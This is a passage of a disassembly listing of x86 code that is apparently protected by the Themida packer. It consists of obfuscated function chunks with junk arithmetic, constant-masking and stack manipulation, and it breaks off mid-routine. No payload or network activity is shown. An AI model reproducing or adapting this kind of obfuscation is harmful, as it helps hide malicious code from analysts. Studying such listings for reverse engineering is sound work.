		dec	esi
		xor	esi, 5E36644Bh
		jmp	loc_563734
; ---------------------------------------------------------------------------


loc_55F533:				; CODE XREF: sub_56207C+9B2Aj
		add	esp, 4
		add	eax, 634C5CFAh
		sub	eax, esi
		jmp	loc_56E06F
; ---------------------------------------------------------------------------


loc_55F542:				; CODE XREF: sub_56207C+35D7j
		mul	ecx
		push	2E28h
		mov	[esp+24h+var_24], edx
		push	eax
		pushf
		jmp	loc_5713B9
; ---------------------------------------------------------------------------


loc_55F553:				; CODE XREF: sub_56207C+80B1j
		add	esp, 4
		jmp	loc_56872F
; ---------------------------------------------------------------------------


loc_55F55B:				; CODE XREF: sub_56207C-10EDj
		or	edi, 0C7E02DAh
		push	ecx
		jmp	loc_568D08
; ---------------------------------------------------------------------------


loc_55F567:				; CODE XREF: sub_56207C+A8C6j
		or	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 3765331h
		xor	eax, ecx
		pop	ecx
		or	eax, 1C2E6EEAh
		push	esi
		mov	esi, 26080251h
		xor	eax, esi
		pop	esi
		sub	edi, 4E3D05CEh
		sub	edi, eax
		jmp	loc_56C90E
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F58E	proc near		; DATA XREF: Themida_:0055E144o
		pop	dword ptr fs:[edx]
		jmp	loc_55E3C3
sub_55F58E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F596:				; CODE XREF: sub_56207C+213Dj
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+2Ch+var_2C]
		pop	esp
		mov	[esp+28h+var_28], edi
		mov	edi, 15B621EAh
		or	ebx, edi
		mov	edi, [esp+28h+var_28]
		jmp	loc_570E30
; ---------------------------------------------------------------------------


loc_55F5BB:				; CODE XREF: sub_56207C+104BAj
		mov	ebp, 325D06CBh
		sub	ebp, 1A9E3207h
		xor	ebp, 47AF3E91h
		xor	ebp, 0D1F08180h
		xor	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, ecx
		mov	eax, ebx
		pop	ebx
		jmp	loc_56A385
; ---------------------------------------------------------------------------


loc_55F5E0:				; CODE XREF: sub_56207C+D3A0j
		pop	edx
		push	cx
		mov	cl, 25h
		sub	bl, 0CAh
		add	bl, cl
		add	bl, 0CAh
		pop	cx
		push	ecx
		jmp	loc_56D8A4
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F5F5	proc near		; DATA XREF: Themida_:0055E320o

var_4		= dword	ptr -4

		lodsd
		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	65845A85h
		pop	edx
		jmp	loc_56868E
sub_55F5F5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F607:				; CODE XREF: sub_56207C+F4F1j
		pop	edi
		add	esi, 69C327F8h
		add	esi, 47E12F24h
		jmp	loc_56A7C3
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F619	proc near		; CODE XREF: sub_56207C+2A1Cj
		push	ebx
		mov	bh, 87h
		dec	bh
		shr	bh, 3
		sub	bh, 0EDh
		jmp	loc_571D6B
sub_55F619	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F629:				; CODE XREF: sub_56207C+888Dj
		push	esi
		mov	esi, 9DDCDD13h
		push	esi
		add	[esp+28h+var_28], 40FE62D4h
		pop	ebp
		sub	ebp, 40FE62D4h
		pop	esi
		push	ebp
		mov	ebp, 3D11052Dh
		jmp	loc_5691F4
; ---------------------------------------------------------------------------


loc_55F64A:				; CODE XREF: sub_56207C+F04Aj
		mov	edx, 60D505A3h
		jmp	loc_56346E
; ---------------------------------------------------------------------------


loc_55F654:				; CODE XREF: sub_56207C+A5D8j
		mov	[esp+24h+var_24], eax
		push	4
		jmp	loc_56B087
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55F661	proc near		; CODE XREF: sub_56207C+ADC0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055FEB6 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_55FEB6
sub_55F661	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F673:				; CODE XREF: sub_56207C+CFFj
		pop	esi
		jmp	loc_57163C
; ---------------------------------------------------------------------------


loc_55F679:				; CODE XREF: sub_56207C+48F4j
		not	eax
		inc	eax
		or	eax, 3EDD6C61h
		jmp	loc_56E3DD
; ---------------------------------------------------------------------------


loc_55F686:				; CODE XREF: sub_56207C+C6E8j
		mov	ebp, 0F056F3Ah
		xor	ebp, 12303CF1h
		sub	ebp, 602B4E85h
		xor	ebp, 0BD0A0542h
		mov	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		jmp	loc_55ECA4
; ---------------------------------------------------------------------------


loc_55F6A8:				; CODE XREF: sub_56207C+6062j
		pop	esp
		add	esi, 4
		xchg	esi, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		push	ebp
		jmp	loc_56693A
; ---------------------------------------------------------------------------


loc_55F6B8:				; CODE XREF: sub_56207C+1A1j
		add	edx, ecx
		pop	ecx
		add	edx, 0FFFFFFFFh
		xor	edx, 1B374731h
		sub	edx, 547BBED2h
		add	ebp, edx
		pop	edx
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 0CB32A95Bh
		or	edx, ebp
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		shl	edx, 7
		shr	edx, 8
		jmp	loc_566E8C
; ---------------------------------------------------------------------------


loc_55F6EF:				; CODE XREF: sub_56207C+1000Fj
		add	esp, 4
		push	678Bh
		mov	[esp+10h+var_10], edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_561DB7
; ---------------------------------------------------------------------------


loc_55F70B:				; CODE XREF: sub_56207C+252Cj
		pop	edi
		push	4305h
		mov	[esp+14h+var_14], ebx
		push	esp
		jmp	loc_568AAB
; ---------------------------------------------------------------------------


loc_55F71A:				; CODE XREF: sub_56207C+10DBDj
		mov	[esp+18h+var_18], edx
		push	eax
		push	ebp
		mov	ebp, 15D53190h
		neg	ebp
		and	ebp, 2E2B22F3h
		and	ebp, 40C569CDh
		inc	ebp
		xor	ebp, 45h
		jmp	loc_56DF71
; ---------------------------------------------------------------------------


loc_55F73E:				; CODE XREF: sub_56207C+B4D2j
		add	eax, 0E9F3376h
		push	eax
		not	[esp+24h+var_24]
		pop	eax
		jmp	loc_56D1EC
; ---------------------------------------------------------------------------


loc_55F74D:				; CODE XREF: sub_56207C+C53Aj
		and	edi, 4D6B5647h
		or	edi, 12CB3490h
		inc	edi
		shr	edi, 1
		sub	edi, 2DE5BA47h
		add	eax, edi
		jmp	loc_5618C7
; ---------------------------------------------------------------------------


loc_55F769:				; CODE XREF: sub_56207C+7C0Cj
		pop	eax
		add	eax, ecx
		push	[esp+1Ch+var_1C]
		pop	ecx
		add	esp, 4
		jmp	loc_572338
; ---------------------------------------------------------------------------


loc_55F778:				; CODE XREF: sub_56207C+206Bj
		pop	edx
		push	ebx
		jmp	loc_567719
; ---------------------------------------------------------------------------


loc_55F77F:				; CODE XREF: sub_56207C+DFD7j
		sub	ebx, esi
		push	ecx
		jmp	loc_56B96F
; ---------------------------------------------------------------------------


loc_55F787:				; CODE XREF: sub_56207C+5E56j
		mov	eax, 13A2150Dh
		push	esi
		mov	esi, 320109EDh
		and	esi, 5F5521A5h
		shr	esi, 3
		inc	esi
		or	esi, 755C0676h
		sub	esi, 0F4F26105h
		xor	eax, esi
		pop	esi
		add	edx, 32176BD1h
		sub	edx, eax
		sub	edx, 32176BD1h
		pop	eax
		sub	edi, edx
		jmp	loc_56C244
; ---------------------------------------------------------------------------


loc_55F7C1:				; CODE XREF: sub_56207C+1047Ej
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		push	edi
		mov	edi, 45040A7Eh
		shl	edi, 8
		and	edi, 5B197439h
		sub	edi, 873FCh
		add	eax, edi
		pop	edi
		xor	eax, [esp+14h+var_14]
		xor	[esp+14h+var_14], eax
		xor	eax, [esp+14h+var_14]
		jmp	loc_567FB8
; ---------------------------------------------------------------------------


loc_55F7ED:				; CODE XREF: sub_56207C-25D4j
		and	ecx, 152E262Ah
		xchg	edi, ecx
		jmp	loc_5668FC
; ---------------------------------------------------------------------------


loc_55F7FA:				; CODE XREF: sub_56207C+5845j
		sub	ebx, 159F3EDBh
		push	ecx
		push	2D1Bh
		mov	[esp+1Ch+var_1C], esi
		push	39CF2B2Eh
		jmp	loc_567D99
; ---------------------------------------------------------------------------


loc_55F813:				; CODE XREF: sub_56207C+10371j
		push	edx
		mov	edx, esp
		jmp	loc_5686D1
; ---------------------------------------------------------------------------


loc_55F81B:				; CODE XREF: sub_56207C-2041j
		xor	ecx, ebp
		mov	ebp, [esp+24h+var_24]
		jmp	loc_566DB2
; ---------------------------------------------------------------------------


loc_55F825:				; CODE XREF: sub_56207C+6A44j
		mov	ebx, eax
		pop	eax
		add	ecx, ebx
		pop	ebx
		jmp	loc_5611B9
; ---------------------------------------------------------------------------


loc_55F830:				; CODE XREF: sub_56207C+2BB7j
		pop	esp
		xor	[esp+18h+var_18], ecx
		xor	ecx, [esp+18h+var_18]
		xor	[esp+18h+var_18], ecx
		push	[esp+18h+var_18]
		push	[esp+1Ch+var_1C]
		mov	eax, [esp+20h+var_20]
		add	esp, 4
		push	edx
		jmp	loc_56A7DF
; ---------------------------------------------------------------------------


loc_55F84C:				; CODE XREF: sub_56207C+6837j
		shr	ecx, 7
		jmp	loc_55E889
; ---------------------------------------------------------------------------


loc_55F854:				; CODE XREF: sub_56207C+C897j
		mov	esi, [esp+20h+var_20]
		jmp	loc_562F3E
; ---------------------------------------------------------------------------


loc_55F85C:				; CODE XREF: sub_56207C+9D16j
		push	eax
		push	bx
		mov	bh, ch
		mov	ch, byte ptr [esp+26h+var_24+1]
		mov	byte ptr [esp+26h+var_24+1], bh
		pop	bx
		not	ch
		xchg	ch, byte ptr [esp+24h+var_24+1]
		jmp	loc_56CEAD
; ---------------------------------------------------------------------------


loc_55F876:				; CODE XREF: sub_56207C+10F11j
		pop	edi
		sub	ecx, 362E3CF0h
		add	ecx, 27A57D9Fh
		add	ecx, eax
		jmp	loc_567569
; ---------------------------------------------------------------------------


loc_55F88A:				; CODE XREF: sub_56207C+99E1j
		pop	ebx
		add	esp, 4
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		add	ebx, eax
		pop	eax
		add	ebx, eax
		sub	ebx, 467D7B96h
		push	eax
		mov	eax, 7D2D7CF9h
		sub	edx, eax
		pop	eax
		sub	edx, 5E1E6B28h
		jmp	loc_56C7E4
; ---------------------------------------------------------------------------


loc_55F8B3:				; CODE XREF: sub_56207C+4E1Fj
		pop	dx
		mov	dh, bh
		jmp	loc_564807
; ---------------------------------------------------------------------------


loc_55F8BC:				; CODE XREF: sub_56207C+E7CCj
		mov	ebp, 23DB5E36h
		push	ebp
		not	[esp+12h+var_14+2]
		mov	ebp, [esp+12h+var_14+2]
		add	esp, 4
		and	ebp, 6AF0D62h
		sub	ebp, 424013Eh
		sub	eax, 6EC8660Ch
		sub	eax, 39B636Fh
		add	eax, ebp
		add	eax, 39B636Fh
		add	eax, 6EC8660Ch
		mov	ebp, [esp+0Eh+var_10+2]
		add	esp, 4
		push	eax
		push	[esp+0Eh+var_C+2]
		pop	eax
		pop	[esp+0Eh+var_10+2]
		mov	esp, [esp+0Ah+var_C+2]
		shl	[esp+0Ah+var_C+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_55F90B:				; CODE XREF: sub_56207C+AE1Bj
		mov	edx, [esp+0Eh+var_10+2]
		add	esp, 4
		add	edx, 7B3D778Ch
		add	edx, ebx
		jmp	loc_56E152
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55F501


loc_55F921:				; CODE XREF: sub_55F501+1j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+8+var_4]
		jmp	loc_562308
; END OF FUNCTION CHUNK	FOR sub_55F501
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55F939:				; CODE XREF: sub_56207C-189j
		pop	esp
		push	3FC1h
		mov	[esp+0Ah+var_C+2], esi
		mov	esi, esp
		push	6FF5h
		mov	[esp+0Eh+var_10+2], ebx
		jmp	loc_563A9B
; ---------------------------------------------------------------------------


loc_55F951:				; CODE XREF: sub_56207C-FC1j
		pop	ebp
		add	ecx, 4
		xchg	ecx, [esp+0Ah+var_C+2]
		pop	esp
		push	1A2Dh
		mov	[esp+0Ah+var_C+2], edx
		jmp	loc_56F4D6
; ---------------------------------------------------------------------------


loc_55F966:				; CODE XREF: sub_56207C+9124j
		add	ebp, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		add	esp, 4
		add	ebp, 4
		jmp	loc_56FBCC
; ---------------------------------------------------------------------------


loc_55F979:				; CODE XREF: sub_56207C+B7E1j
		or	bl, 8
		add	bl, 69h
		jmp	loc_56DC40
; ---------------------------------------------------------------------------


loc_55F984:				; CODE XREF: sub_56207C+BE93j
		mov	ecx, 61130F14h
		sub	edi, ecx
		jmp	loc_56D446
; ---------------------------------------------------------------------------


loc_55F990:				; CODE XREF: sub_56207C+AA26j
		mov	edx, ebp
		pop	ebp
		xor	edx, 301E704Bh
		mov	esi, edx
		pop	edx
		add	eax, esi
		mov	esi, [esp+0]
		add	esp, 4
		xor	eax, 0DC4A0356h
		add	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp-0Ah+arg_4+2]
		jmp	loc_571F3D
; ---------------------------------------------------------------------------


loc_55F9C0:				; CODE XREF: sub_56207C+3504j
		pop	eax
		mov	ebp, 5A0C6C7h
		add	ebp, eax
		pop	eax
		mov	ebx, ebp
		pop	ebp
		push	4FB4h
		mov	[esp-12h+arg_C+2], esi
		push	43A06CACh
		pop	esi
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		push	ecx
		mov	ecx, 581B2D3Fh
		or	esi, ecx
		pop	ecx
		sub	esi, 7C4D7563h
		jmp	loc_56C0E7
; ---------------------------------------------------------------------------


loc_55F9F2:				; CODE XREF: sub_56207C+10D26j
		mov	[esp-12h+arg_C+2], ebx
		push	1DD7h
		mov	[esp-0Eh+arg_8+2], ebp
		push	800000h
		mov	ebp, [esp-0Ah+arg_4+2]
		jmp	loc_55F507
; ---------------------------------------------------------------------------


loc_55FA0A:				; CODE XREF: sub_56207C+1011Aj
		push	edi
		mov	edi, 2AD1214Dh
		sub	edi, 2BAB7FD4h
		sub	edi, 4987020Fh
		sub	edi, 728B76E9h
		sub	edi, 4313287Dh
		jmp	loc_56B7EA
; ---------------------------------------------------------------------------


loc_55FA2D:				; CODE XREF: sub_56207C+E6BBj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5688E6
; ---------------------------------------------------------------------------


loc_55FA3A:				; CODE XREF: sub_56207C+2F81j
		pop	edx
		push	ebp
		mov	ebp, 16216D8Fh
		jmp	loc_56F3B2
; ---------------------------------------------------------------------------


loc_55FA46:				; CODE XREF: sub_56207C+AD43j
		push	ecx
		mov	ecx, 75E50B3Ah
		inc	ecx
		jmp	loc_56AE0D
; ---------------------------------------------------------------------------


loc_55FA52:				; CODE XREF: sub_56207C+B809j
		mov	esi, [esp+2+var_4+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_569812
; ---------------------------------------------------------------------------


loc_55FA63:				; CODE XREF: sub_56207C+8B6Dj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		push	ebx
		sub	esp, 4
		push	esp
		pop	[esp+12h+var_14+2]
		add	[esp+0Eh+var_10+2], 4
		mov	ebx, [esp+0Eh+var_10+2]
		jmp	loc_56AEB6
; ---------------------------------------------------------------------------


loc_55FA87:				; CODE XREF: sub_56207C+33DEj
		mov	eax, esp
		add	eax, 4
		jmp	loc_56E518
; ---------------------------------------------------------------------------


loc_55FA93:				; CODE XREF: sub_56207C+8DD3j
		mov	ecx, ebx
		pop	ebx
		and	ecx, 10453584h
		sub	ecx, 0C0D1AD5h
		and	ecx, 2BE56501h
		jmp	loc_55F7ED
; ---------------------------------------------------------------------------


loc_55FAAD:				; CODE XREF: sub_56207C+3947j
		add	esp, 4
		jmp	loc_568552
; ---------------------------------------------------------------------------


loc_55FAB8:				; CODE XREF: sub_56207C+9CCCj
		sub	edx, 1A8C7A26h
		add	edx, ebp
		jmp	loc_560292
; ---------------------------------------------------------------------------


loc_55FAC5:				; CODE XREF: sub_56207C+3514j
		push	small 29F0h
		jmp	loc_56FE86
; ---------------------------------------------------------------------------


loc_55FACE:				; CODE XREF: sub_56207C+861j
		xor	ecx, 264276D9h
		sub	ecx, 0B2A7E85h
		push	ecx
		add	[esp+0Ch+var_C], 7EA22A38h
		jmp	loc_5713A5
; ---------------------------------------------------------------------------


loc_55FAE7:				; CODE XREF: sub_56207C+800Aj
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_56EDAB
; ---------------------------------------------------------------------------


loc_55FAEF:				; CODE XREF: sub_56207C+904Cj
		push	4A24h
		mov	[esp+10h+var_10], edi
		push	5528h
		mov	[esp+14h+var_14], eax
		mov	eax, 6E0D6DDDh
		not	eax
		sub	eax, 0FFFFFFFFh
		sub	eax, 6FB84FDBh
		push	eax
		pop	edi
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		push	ecx
		jmp	loc_564586
; ---------------------------------------------------------------------------


loc_55FB21:				; CODE XREF: sub_56207C-1342j
		pop	ebx
		pop	edx
		mov	bl, ah
		pop	eax
		push	[esp+8+var_8]
		pop	ecx
		jmp	loc_5656E3
; ---------------------------------------------------------------------------


loc_55FB2F:				; CODE XREF: sub_56207C+6A12j
		neg	esi
		and	esi, 334A60DFh
		jmp	loc_56C056
; ---------------------------------------------------------------------------


loc_55FB3C:				; CODE XREF: sub_56207C+10BC3j
		pop	eax
		jmp	loc_56CDD1
; ---------------------------------------------------------------------------


loc_55FB42:				; CODE XREF: sub_56207C+AF73j
		add	esp, 4
		jmp	loc_56D06A
; ---------------------------------------------------------------------------


loc_55FB4A:				; CODE XREF: sub_56207C+7565j
		pop	ecx
		add	edi, 69F0029Fh
		add	edi, esi
		jmp	loc_5646ED
; ---------------------------------------------------------------------------


loc_55FB58:				; CODE XREF: sub_56207C+7E81j
		add	esi, 4
		jmp	loc_564666
; ---------------------------------------------------------------------------


loc_55FB63:				; CODE XREF: sub_56207C-BF1j
		neg	edi
		shl	edi, 1
		inc	edi
		add	edi, 0D679E349h
		mov	edx, edi
		pop	edi
		sub	edx, 2B6D20B2h
		jmp	loc_562E4D
; ---------------------------------------------------------------------------


loc_55FB7C:				; CODE XREF: sub_56207C+6CD1j
		mov	ecx, 3393689h
		xor	ecx, esi
		push	[esp-8+arg_4]
		jmp	loc_56F9B3
; ---------------------------------------------------------------------------


loc_55FB8B:				; CODE XREF: sub_56207C+84AEj
		xor	[esp-4+arg_0], esi
		jmp	loc_56B2D5
; ---------------------------------------------------------------------------


loc_55FB93:				; CODE XREF: sub_56207C+AAF1j
		xchg	eax, ecx
		xchg	eax, edx
		jmp	loc_56B7CB
; ---------------------------------------------------------------------------


loc_55FB9A:				; CODE XREF: sub_56207C+86F7j
		pop	[esp-4+arg_0]
		not	edx
		xor	[esp-8+arg_4], edx
		jmp	loc_562C2B
; ---------------------------------------------------------------------------


loc_55FBA7:				; CODE XREF: sub_56207C-899j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-8+arg_4]
		pop	esp
		jmp	loc_56931F
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55FBBE	proc near		; CODE XREF: sub_56207C-58Dj

; FUNCTION CHUNK AT 0055EE5B SIZE 0000000A BYTES

		push	ebx
		jmp	loc_55EE5B
sub_55FBBE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55FBC4:				; CODE XREF: sub_56207C+CE58j
		mov	esi, 4
		add	eax, esi
		mov	esi, [esp-0Ch+arg_8]
		jmp	loc_572CFC
; ---------------------------------------------------------------------------


loc_55FBD3:				; CODE XREF: sub_56207C+37F5j
		xor	ax, di
		not	di
		push	ax
		push	di
		pop	ax
		pop	di
		xor	word ptr [esp-0Ch+arg_8], ax
		xor	ax, word ptr [esp-0Ch+arg_8]
		xor	word ptr [esp-0Ch+arg_8], ax
		jmp	loc_56267F
; ---------------------------------------------------------------------------


loc_55FBF2:				; CODE XREF: sub_56207C+AB64j
		push	[esp-0Ch+arg_C]
		jmp	loc_565929
; ---------------------------------------------------------------------------


loc_55FBFB:				; CODE XREF: sub_56207C+F01Dj
		mov	ecx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_56C15D
; ---------------------------------------------------------------------------


loc_55FC06:				; CODE XREF: sub_56207C+111F7j
		or	ebp, edi
		jmp	loc_566E1E
; END OF FUNCTION CHUNK	FOR sub_56207C

; =============== S U B	R O U T	I N E =======================================



sub_55FC0D	proc near		; CODE XREF: sub_56207C+6912j

var_4		= dword	ptr -4

		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		pop	esp
		add	eax, 4
		push	ebx
		mov	ebx, 2
		sub	eax, 589E323Eh
		jmp	loc_5655D8
sub_55FC0D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55FC2C:				; CODE XREF: sub_56207C-2291j
		pop	ecx
		jmp	loc_5694C8
; ---------------------------------------------------------------------------


loc_55FC32:				; CODE XREF: sub_56207C-3B69j
		add	ecx, edi
		pop	edi
		add	ecx, 4
		push	ecx
		push	[esp+20h+var_1C]
		pop	ecx
		pop	[esp+20h+var_20]
		pop	esp
		add	eax, 4
		jmp	loc_56C6E7
; ---------------------------------------------------------------------------


loc_55FC4C:				; CODE XREF: sub_56207C+1AEDj
		pop	ebp
		sub	ebx, 2037Eh
		jmp	loc_56030F
; ---------------------------------------------------------------------------


loc_55FC58:				; CODE XREF: sub_56207C+82EFj
		neg	ecx
		sub	ecx, 0D56C92DFh
		jmp	loc_568F91
; ---------------------------------------------------------------------------


loc_55FC65:				; CODE XREF: sub_56207C+7ED9j
		xchg	ebp, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		add	ecx, 4
		add	ecx, 2
		xchg	ecx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		mov	ax, word ptr [esp+14h+var_14]
		push	ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], esp
		push	edi
		jmp	loc_55EAC2
; ---------------------------------------------------------------------------


loc_55FC91:				; CODE XREF: sub_56207C+28AFj
		pop	esi
		push	ebp
		push	ecx
		mov	ecx, 7A804501h
		jmp	loc_5607CA
; ---------------------------------------------------------------------------


loc_55FC9E:				; CODE XREF: sub_56207C+B5C3j
		mov	ebx, [esp+24h+var_24]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp+28h+var_28]
		jmp	loc_5684BD
; ---------------------------------------------------------------------------


loc_55FCBB:				; CODE XREF: sub_56207C+E1AFj
		mov	ch, 76h
		sub	ch, 0
		sub	ch, 1
		neg	ch
		add	ch, 0EFh
		sub	ch, 6Fh
		jmp	loc_56EF0F
; ---------------------------------------------------------------------------


loc_55FCD0:				; CODE XREF: sub_56207C+7A4Ej
		sub	esi, ebx
		jmp	loc_568CDC
; ---------------------------------------------------------------------------


loc_55FCD7:				; CODE XREF: sub_56207C-86Fj
		pop	eax
		xchg	ebx, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		jmp	loc_570A8D
; ---------------------------------------------------------------------------


loc_55FCE3:				; CODE XREF: sub_56207C+FD7Bj
		xor	ebp, 17A90282h
		jmp	loc_567A4F
; ---------------------------------------------------------------------------


loc_55FCEE:				; CODE XREF: sub_56207C+D03Fj
		xor	esi, 179C2280h
		not	esi
		jmp	loc_56A79E
; ---------------------------------------------------------------------------


loc_55FCFB:				; CODE XREF: sub_56207C+110ADj
		mov	ah, 0BCh
		dec	ah
		dec	ah
		dec	ah
		add	ah, 0FFh
		xor	ah, 0B2h
		sub	ah, 61h
		shr	ah, 6
		sub	ah, 6Dh
		push	23D2h
		mov	[esp+28h+var_28], ecx
		mov	ch, ah
		jmp	loc_56D8E3
; ---------------------------------------------------------------------------


loc_55FD21:				; CODE XREF: sub_56207C+4347j
		push	235Ah
		mov	[esp+2Ch+var_2C], eax
		jmp	loc_5709CF
; ---------------------------------------------------------------------------


loc_55FD2E:				; CODE XREF: sub_56207C+5151j
		pop	ecx
		pop	eax
		jmp	loc_567208
; ---------------------------------------------------------------------------


loc_55FD35:				; CODE XREF: sub_56207C-10F8j
		sub	edx, 7EA13353h
		add	edx, eax
		add	edx, 7EA13353h
		pop	eax
		add	edi, edx
		pop	edx
		jmp	loc_565522
; ---------------------------------------------------------------------------


loc_55FD4C:				; CODE XREF: sub_56207C+7349j
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_562AB5
; ---------------------------------------------------------------------------


loc_55FD54:				; CODE XREF: sub_56207C-77Bj
		pop	edx
		push	edx
		jmp	loc_572816
; ---------------------------------------------------------------------------


loc_55FD5B:				; CODE XREF: sub_56207C-ACj
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_5705E5
; ---------------------------------------------------------------------------


loc_55FD7A:				; CODE XREF: sub_56207C+94AFj
		push	eax
		mov	eax, 4
		add	ebp, 3703588Bh
		add	ebp, eax
		jmp	loc_560480
; ---------------------------------------------------------------------------


loc_55FD8D:				; CODE XREF: sub_56207C+E6F4j
		mov	edi, 302179CFh
		jmp	loc_5735C5
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_55FD97:				; DATA XREF: Themida_:0055E0F8o
		lodsd
		jmp	loc_56DD6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55FD9D:				; CODE XREF: sub_56207C-3035j
		inc	ecx
		xor	ecx, 37634F08h
		jmp	loc_572C2C
; ---------------------------------------------------------------------------


loc_55FDA9:				; CODE XREF: sub_56207C+54C6j
		pop	[esp+30h+var_30]
		pop	esp
		jmp	loc_56A75F
; ---------------------------------------------------------------------------


loc_55FDB2:				; CODE XREF: sub_56207C-129Aj
		add	esi, 6AC222CAh
		sub	edi, esi
		mov	esi, [esp+28h+var_28]
		add	esp, 4
		jmp	loc_5641C7
; ---------------------------------------------------------------------------


loc_55FDC8:				; CODE XREF: sub_56207C+3CD6j
		sub	ebx, 0C17C529h
		jmp	loc_572172
; ---------------------------------------------------------------------------


loc_55FDD3:				; CODE XREF: sub_56207C+E48Fj
		add	dh, 3
		sub	dh, 44h
		jmp	loc_565956
; ---------------------------------------------------------------------------


loc_55FDDE:				; CODE XREF: sub_56207C+10AC0j
		mov	ecx, 7DAA2D87h
		add	ecx, 8255D27Bh
		mov	edx, ecx
		jmp	loc_55FC2C
; ---------------------------------------------------------------------------


loc_55FDF0:				; CODE XREF: sub_56207C-1357j
		and	ebp, 21FA7053h
		inc	ebp
		neg	ebp
		dec	ebp
		jmp	loc_5642E0
; ---------------------------------------------------------------------------


loc_55FDFF:				; CODE XREF: sub_56207C-15CEj
		pop	ecx
		jmp	loc_562F6D
; END OF FUNCTION CHUNK	FOR sub_56207C
; ---------------------------------------------------------------------------


loc_55FE05:				; DATA XREF: Themida_:0055E2C4o
		push	dword ptr [edi+3Ch]
		push	129Dh
		jmp	loc_56B913
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56207C


loc_55FE12:				; CODE XREF: sub_56207C+7A20j
		push	ecx
		sub	esp, 4
		mov	[esp+28h+var_28], ebx
		mov	ebx, 636D47D7h
		inc	ebx
		and	ebx, 700A7232h
		xchg	ecx, ebx
		jmp	loc_566FC5
; ---------------------------------------------------------------------------


loc_55FE2C:				; CODE XREF: sub_56207C+FAD3j
		add	ebp, 18E3572Ch
		jmp	loc_5681A2
; ---------------------------------------------------------------------------


loc_55FE37:				; CODE XREF: sub_56207C+8EAAj
		mov	[esp+28h+var_28], edx
		push	ecx
		mov	cl, 8Dh
		mov	dh, 0C8h
		sub	dh, cl
		pop	ecx
		add	dh, 5Fh
		shr	dh, 6
		sub	dh, 0A1h
		jmp	loc_568303
; ---------------------------------------------------------------------------


loc_55FE50:				; CODE XREF: sub_56207C+D002j
		mov	[esp+28h+var_28], esp
		jmp	loc_571D28
; ---------------------------------------------------------------------------


loc_55FE58:				; CODE XREF: sub_56207C+FA17j
		or	ecx, 55301519h
		jmp	loc_56893A
; ---------------------------------------------------------------------------


loc_55FE63:				; CODE XREF: sub_56207C+5724j
		sub	ebp, 4
		xchg	ebp, [esp+28h+var_28]
		jmp	loc_56290C
; ---------------------------------------------------------------------------


loc_55FE71:				; CODE XREF: sub_56207C+8765j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+28h+var_28]
		pop	esp
		add	esp, 4
		push	3E32h
